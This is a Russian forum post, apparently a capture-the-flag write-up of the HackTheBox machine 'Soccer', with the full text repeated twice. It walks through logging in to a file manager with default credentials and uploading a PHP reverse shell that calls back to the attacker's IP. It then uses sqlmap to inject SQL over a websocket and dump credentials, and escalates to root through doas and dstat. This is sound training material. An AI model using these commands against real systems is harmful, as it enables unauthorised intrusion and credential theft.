Trager
24.06.2023, 14:49
https://forum.antichat.xyz/attachments/29105747/1687600320325.png
Приветствую,
Кодебай
! Сегодня пройдём
Soccer
- лёгкую линуксовую машину с площадки
HackTheBox
. Приятного чтения, друзья
Разведка
Начинаем, как всегда со сканирования портов, используем флаг
-sC
, чтобы использовать стандартные скрипты,
-sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV
10.10
.11.194 -oN nmap.out
Bash:
PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.2p1 Ubuntu 4ubuntu0.5
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
3072
ad0d84a3fdcc98a478fef94915dae16d
(
RSA
)
|
256
dfd6a39f68269dfc7c6a0c29e961f00c
(
ECDSA
)
|
_
256
5797565def793c2fcbdb35fff17c615c
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
_http-title: Did not follow redirect to http://soccer.htb/
|
http-server-header: nginx/1.18.0
(
Ubuntu
)
9091
/tcp
open
xmltec-xmlmail?
|
fingerprint-strings:
|
DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|
HTTP/1.1
400
Bad Request
|
Connection: close
|
GetRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
139
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot GET /
|
|
|
HTTPOptions:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot OPTIONS /
|
|
|
RTSPRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:36 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot OPTIONS /
|
|
У нас есть три открытых
TCP
-порта:
22
,
80
и
9091
. Начнём с
80
-го:
https://forum.antichat.xyz/attachments/29105747/1687600636877.png
При переходе на
http://10.10.11.194
нас сразу же перенаправляет на
soccer.htb
. В таком случае следует внести
IP
-адрес и домен в файл
/etc/hosts
. Сделать это можно вот таким вот образом:
https://forum.antichat.xyz/attachments/29105747/1687600685422.png
Теперь мы можем попасть на домен:
https://forum.antichat.xyz/attachments/29105747/1687600705427.png
На сайте я ничего интересного не обнаружил, поэтому решил профаззить каталоги и файлы:
Bash:
gobuster
dir
-w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://soccer.htb/ -t
25
-x txt,html
https://forum.antichat.xyz/attachments/29105747/1687600774881.png
Нашлась директория
tiny
. Давайте посмотрим что в ней:
https://forum.antichat.xyz/attachments/29105747/1687600813656.png
Тут нас приветствует
Tiny File Manager
. Всегда, когда обнаруживаете подобные панели - сразу же ищите стандартные данные от них. Такие мисконфиги очень популярны в
CTF
:
https://forum.antichat.xyz/attachments/29105747/1687600839018.png
В данном случае стандартное имя пользователя для админа это
admin
, а пароль
admin@123
. Для пользователя это
user
и
12345
.
Пробуем войти от лица администратора:
https://forum.antichat.xyz/attachments/29105747/1687600868419.png
Взятие www-data
Теперь у нас есть доступ к файловому менеджеру. Через него мы можем загрузить вредоносный
PHP
-файл и получить реверс шелл.
https://forum.antichat.xyz/attachments/29105747/1687600888489.png
Для начала скачаем на нашу машину следующий файл - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php:
Bash:
wget
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://forum.antichat.xyz/attachments/29105747/1687600917923.png
Это готовый реверс шелл, который был написан на
PHP
. Теперь отредактируем его - в
$ip
нам нужно вставить наш
IP
-адрес в
VPN
-сети, а в
$port
, соответственно, порт:
https://forum.antichat.xyz/attachments/29105747/1687600937155.png
Теперь ставим листенер на порт, который мы указали в
PHP
-файле:
https://forum.antichat.xyz/attachments/29105747/1687600970671.png
Сразу же в каталог, в котором мы оказались изначально, загрузить файл не получилось, поэтому переходим в
tiny
:
https://forum.antichat.xyz/attachments/29105747/1687601001688.png
Затем в
uploads
:
https://forum.antichat.xyz/attachments/29105747/1687601037676.png
И нажимаем кнопку
“Upload”
:
https://forum.antichat.xyz/attachments/29105747/1687601065458.png
Прожимаем область с текстом
“Drop files here to upload”
и выбираем
php-reverse-shell.php
:
https://forum.antichat.xyz/attachments/29105747/1687601082896.png
Файл загружен, теперь нужно заставить веб-сервер запустить
PHP
-код, который расположен в нём:
https://forum.antichat.xyz/attachments/29105747/1687601106421.png
Нажимаем на
“php-reverse-shell.php”
, а затем на кнопку
“Open”
:
https://forum.antichat.xyz/attachments/29105747/1687601131739.png
И получаем сессию от лица пользователя веб-сервера
www-data
:
https://forum.antichat.xyz/attachments/29105747/1687601178856.png
Стабилизируем оболочку с помощью
python3
:
Bash:
python3 -c ‘import pty
;
pty.spawn
(
”/bin/bash”
)
;
’
Взятие пользователя
К сожалению, на машине повысить привилегии в данном случае не получилось. Но мы можем обнаружить следующий конфигурационный файл
Nginx’а
, где есть поддомен
soc-player.soccer.htb
:
https://forum.antichat.xyz/attachments/29105747/1687601221481.png
Вносим его в
/etc/hosts
и переходим на
soc-player.soccer.htb
:
https://forum.antichat.xyz/attachments/29105747/1687601274140.png
Тут мы можем посмотреть матчи, авторизоваться и зарегистрироваться. Для начала выполним последнее:
https://forum.antichat.xyz/attachments/29105747/1687601317373.png
Теперь авторизуемся:
https://forum.antichat.xyz/attachments/29105747/1687601440679.png
Отлично. Тут написано, что
ID
нашего билета равен
52405
. Похоже, что тут есть какое-то обращение к базе данных:
https://forum.antichat.xyz/attachments/29105747/1687601498079.png
Попробуем ввести в форму
52405
:
https://forum.antichat.xyz/attachments/29105747/1687601552881.png
Отправляем запрос и получаем
“Ticket Exists”
:
https://forum.antichat.xyz/attachments/29105747/1687601577590.png
То есть данный сервис проверяет валидность нашего билета по
ID
через базу данных. Попробуем проэксплуатировать
SQL
-инъекцию:
https://forum.antichat.xyz/attachments/29105747/1687601608786.png
1 or 1
- наш тикет существует
Посмотрим исходный
HTML
-код страницы:
https://forum.antichat.xyz/attachments/29105747/1687601630802.png
Запросы идут через веб-сокеты и
9091
порт, который был в сканировании
nmap
. В таком случае мы можем попробовать использовать
sqlmap
, который поддерживает веб-сокеты, чтобы вытащить нужные нам данные из базы данных. Для начала посмотрим какие есть базы данных с помощью опции
--dbs
:
Bash:
sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
https://forum.antichat.xyz/attachments/29105747/1687601678568.png
1
,
2
,
3
и
5
база данных - генерируются автоматически. Следовательно, нам нужна
soccer_db
: используем опцию
-D
, чтобы указать название БД и
--dump
. чтобы получить из неё таблицы с данными:
Bash:
sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
-D soccer_db --dump
https://forum.antichat.xyz/attachments/29105747/1687601696118.png
Самое интересное это:
Код:
player@player.htb
PlayerOftheMatch2022
Эти данные могут подойти для пользователя
player
. Попробуем подключиться по
SSH
:
https://forum.antichat.xyz/attachments/29105747/1687601732326.png
Взятие рута
Скачем программу
linpeas.sh ('http://linpeas.sh/')
с нашего хоста в каталог
/tmp
на удалённую машину (про
linpeas
и то, как это делается я рассказывал в прошлых прохождениях):
https://forum.antichat.xyz/attachments/29105747/1687601758208.png
Даём права на запуск (
+x
) и запускаем. Во вкладке с “интересными” правами мы можем увидеть
/usr/local/bin/doas
с
SUID
-битом:
https://forum.antichat.xyz/attachments/29105747/1687601789603.png
Doas
, как и
sudo
позволяет запускать приложения от имени других пользователей. Настроить
doas
можно через
doas.conf
(https://wiki.archlinux.org/title/Doas_(Русский)):
https://forum.antichat.xyz/attachments/29105747/1687601817766.png
Ищем конфиг с помощью
whereis
и видим, что мы можем запускать
/usr/bin/dstat
с привилегиями суперпользователя. Проверяем:
https://forum.antichat.xyz/attachments/29105747/1687601837355.png
Запуск
dstat
через
doas
работает, отлично. Теперь заглянем на
GTFOBINS
(dstat | GTFOBins) - как можно повысить привилегии, если мы можем запускать
dstat
с правами суперпользователя:
https://forum.antichat.xyz/attachments/29105747/1687601866309.png
Нам нужна вкладка
“Sudo”
. И просто повторяем эти две строки:
https://forum.antichat.xyz/attachments/29105747/1687601900498.png
Рут получен.
Огромное спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях
Приветствую,
Кодебай
! Сегодня пройдём
Soccer
- лёгкую линуксовую машину с площадки
HackTheBox
. Приятного чтения, друзья
Разведка
Начинаем, как всегда со сканирования портов, используем флаг
-sC
, чтобы использовать стандартные скрипты,
-sV
, чтобы определить сервисы открытых портов:
Bash:
nmap -sC -sV
10.10
.11.194 -oN nmap.out
Bash:
PORT STATE SERVICE VERSION
22
/tcp
open
ssh
OpenSSH
8
.2p1 Ubuntu 4ubuntu0.5
(
Ubuntu Linux
;
protocol
2.0
)
|
ssh-hostkey:
|
3072
ad0d84a3fdcc98a478fef94915dae16d
(
RSA
)
|
256
dfd6a39f68269dfc7c6a0c29e961f00c
(
ECDSA
)
|
_
256
5797565def793c2fcbdb35fff17c615c
(
ED25519
)
80
/tcp
open
http nginx
1.18
.0
(
Ubuntu
)
|
_http-title: Did not follow redirect to http://soccer.htb/
|
http-server-header: nginx/1.18.0
(
Ubuntu
)
9091
/tcp
open
xmltec-xmlmail?
|
fingerprint-strings:
|
DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
|
HTTP/1.1
400
Bad Request
|
Connection: close
|
GetRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
139
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot GET /
|
|
|
HTTPOptions:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:35 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot OPTIONS /
|
|
|
RTSPRequest:
|
HTTP/1.1
404
Not Found
|
Content-Security-Policy: default-src
'none'
|
X-Content-Type-Options: nosniff
|
Content-Type: text/html
;
charset
=
utf-8
|
Content-Length:
143
|
Date: Fri,
23
Jun
2023
10
:33:36 GMT
|
Connection: close
|
|
|
|
|
Error
|
|
|
Cannot OPTIONS /
|
|
У нас есть три открытых
TCP
-порта:
22
,
80
и
9091
. Начнём с
80
-го:
https://forum.antichat.xyz/attachments/29105747/1687600636877.png
При переходе на
http://10.10.11.194
нас сразу же перенаправляет на
soccer.htb
. В таком случае следует внести
IP
-адрес и домен в файл
/etc/hosts
. Сделать это можно вот таким вот образом:
https://forum.antichat.xyz/attachments/29105747/1687600685422.png
Теперь мы можем попасть на домен:
https://forum.antichat.xyz/attachments/29105747/1687600705427.png
На сайте я ничего интересного не обнаружил, поэтому решил профаззить каталоги и файлы:
Bash:
gobuster
dir
-w /opt/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -u http://soccer.htb/ -t
25
-x txt,html
https://forum.antichat.xyz/attachments/29105747/1687600774881.png
Нашлась директория
tiny
. Давайте посмотрим что в ней:
https://forum.antichat.xyz/attachments/29105747/1687600813656.png
Тут нас приветствует
Tiny File Manager
. Всегда, когда обнаруживаете подобные панели - сразу же ищите стандартные данные от них. Такие мисконфиги очень популярны в
CTF
:
https://forum.antichat.xyz/attachments/29105747/1687600839018.png
В данном случае стандартное имя пользователя для админа это
admin
, а пароль
admin@123
. Для пользователя это
user
и
12345
.
Пробуем войти от лица администратора:
https://forum.antichat.xyz/attachments/29105747/1687600868419.png
Взятие www-data
Теперь у нас есть доступ к файловому менеджеру. Через него мы можем загрузить вредоносный
PHP
-файл и получить реверс шелл.
https://forum.antichat.xyz/attachments/29105747/1687600888489.png
Для начала скачаем на нашу машину следующий файл - https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php:
Bash:
wget
https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
https://forum.antichat.xyz/attachments/29105747/1687600917923.png
Это готовый реверс шелл, который был написан на
PHP
. Теперь отредактируем его - в
$ip
нам нужно вставить наш
IP
-адрес в
VPN
-сети, а в
$port
, соответственно, порт:
https://forum.antichat.xyz/attachments/29105747/1687600937155.png
Теперь ставим листенер на порт, который мы указали в
PHP
-файле:
https://forum.antichat.xyz/attachments/29105747/1687600970671.png
Сразу же в каталог, в котором мы оказались изначально, загрузить файл не получилось, поэтому переходим в
tiny
:
https://forum.antichat.xyz/attachments/29105747/1687601001688.png
Затем в
uploads
:
https://forum.antichat.xyz/attachments/29105747/1687601037676.png
И нажимаем кнопку
“Upload”
:
https://forum.antichat.xyz/attachments/29105747/1687601065458.png
Прожимаем область с текстом
“Drop files here to upload”
и выбираем
php-reverse-shell.php
:
https://forum.antichat.xyz/attachments/29105747/1687601082896.png
Файл загружен, теперь нужно заставить веб-сервер запустить
PHP
-код, который расположен в нём:
https://forum.antichat.xyz/attachments/29105747/1687601106421.png
Нажимаем на
“php-reverse-shell.php”
, а затем на кнопку
“Open”
:
https://forum.antichat.xyz/attachments/29105747/1687601131739.png
И получаем сессию от лица пользователя веб-сервера
www-data
:
https://forum.antichat.xyz/attachments/29105747/1687601178856.png
Стабилизируем оболочку с помощью
python3
:
Bash:
python3 -c ‘import pty
;
pty.spawn
(
”/bin/bash”
)
;
’
Взятие пользователя
К сожалению, на машине повысить привилегии в данном случае не получилось. Но мы можем обнаружить следующий конфигурационный файл
Nginx’а
, где есть поддомен
soc-player.soccer.htb
:
https://forum.antichat.xyz/attachments/29105747/1687601221481.png
Вносим его в
/etc/hosts
и переходим на
soc-player.soccer.htb
:
https://forum.antichat.xyz/attachments/29105747/1687601274140.png
Тут мы можем посмотреть матчи, авторизоваться и зарегистрироваться. Для начала выполним последнее:
https://forum.antichat.xyz/attachments/29105747/1687601317373.png
Теперь авторизуемся:
https://forum.antichat.xyz/attachments/29105747/1687601440679.png
Отлично. Тут написано, что
ID
нашего билета равен
52405
. Похоже, что тут есть какое-то обращение к базе данных:
https://forum.antichat.xyz/attachments/29105747/1687601498079.png
Попробуем ввести в форму
52405
:
https://forum.antichat.xyz/attachments/29105747/1687601552881.png
Отправляем запрос и получаем
“Ticket Exists”
:
https://forum.antichat.xyz/attachments/29105747/1687601577590.png
То есть данный сервис проверяет валидность нашего билета по
ID
через базу данных. Попробуем проэксплуатировать
SQL
-инъекцию:
https://forum.antichat.xyz/attachments/29105747/1687601608786.png
1 or 1
- наш тикет существует
Посмотрим исходный
HTML
-код страницы:
https://forum.antichat.xyz/attachments/29105747/1687601630802.png
Запросы идут через веб-сокеты и
9091
порт, который был в сканировании
nmap
. В таком случае мы можем попробовать использовать
sqlmap
, который поддерживает веб-сокеты, чтобы вытащить нужные нам данные из базы данных. Для начала посмотрим какие есть базы данных с помощью опции
--dbs
:
Bash:
sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
https://forum.antichat.xyz/attachments/29105747/1687601678568.png
1
,
2
,
3
и
5
база данных - генерируются автоматически. Следовательно, нам нужна
soccer_db
: используем опцию
-D
, чтобы указать название БД и
--dump
. чтобы получить из неё таблицы с данными:
Bash:
sqlmap -u
"ws://soc-player.soccer.htb:9091"
--level
5
--risk
3
--data
'{"id": "*"}'
--dbs --batch --technique
=
B --threads
10
-D soccer_db --dump
https://forum.antichat.xyz/attachments/29105747/1687601696118.png
Самое интересное это:
Код:
player@player.htb
PlayerOftheMatch2022
Эти данные могут подойти для пользователя
player
. Попробуем подключиться по
SSH
:
https://forum.antichat.xyz/attachments/29105747/1687601732326.png
Взятие рута
Скачем программу
linpeas.sh ('http://linpeas.sh/')
с нашего хоста в каталог
/tmp
на удалённую машину (про
linpeas
и то, как это делается я рассказывал в прошлых прохождениях):
https://forum.antichat.xyz/attachments/29105747/1687601758208.png
Даём права на запуск (
+x
) и запускаем. Во вкладке с “интересными” правами мы можем увидеть
/usr/local/bin/doas
с
SUID
-битом:
https://forum.antichat.xyz/attachments/29105747/1687601789603.png
Doas
, как и
sudo
позволяет запускать приложения от имени других пользователей. Настроить
doas
можно через
doas.conf
(https://wiki.archlinux.org/title/Doas_(Русский)):
https://forum.antichat.xyz/attachments/29105747/1687601817766.png
Ищем конфиг с помощью
whereis
и видим, что мы можем запускать
/usr/bin/dstat
с привилегиями суперпользователя. Проверяем:
https://forum.antichat.xyz/attachments/29105747/1687601837355.png
Запуск
dstat
через
doas
работает, отлично. Теперь заглянем на
GTFOBINS
(dstat | GTFOBins) - как можно повысить привилегии, если мы можем запускать
dstat
с правами суперпользователя:
https://forum.antichat.xyz/attachments/29105747/1687601866309.png
Нам нужна вкладка
“Sudo”
. И просто повторяем эти две строки:
https://forum.antichat.xyz/attachments/29105747/1687601900498.png
Рут получен.
Огромное спасибо, что дочитали статью до конца. Если есть какие-то ошибки/неточности, то, пожалуйста, напишите об этом в комментариях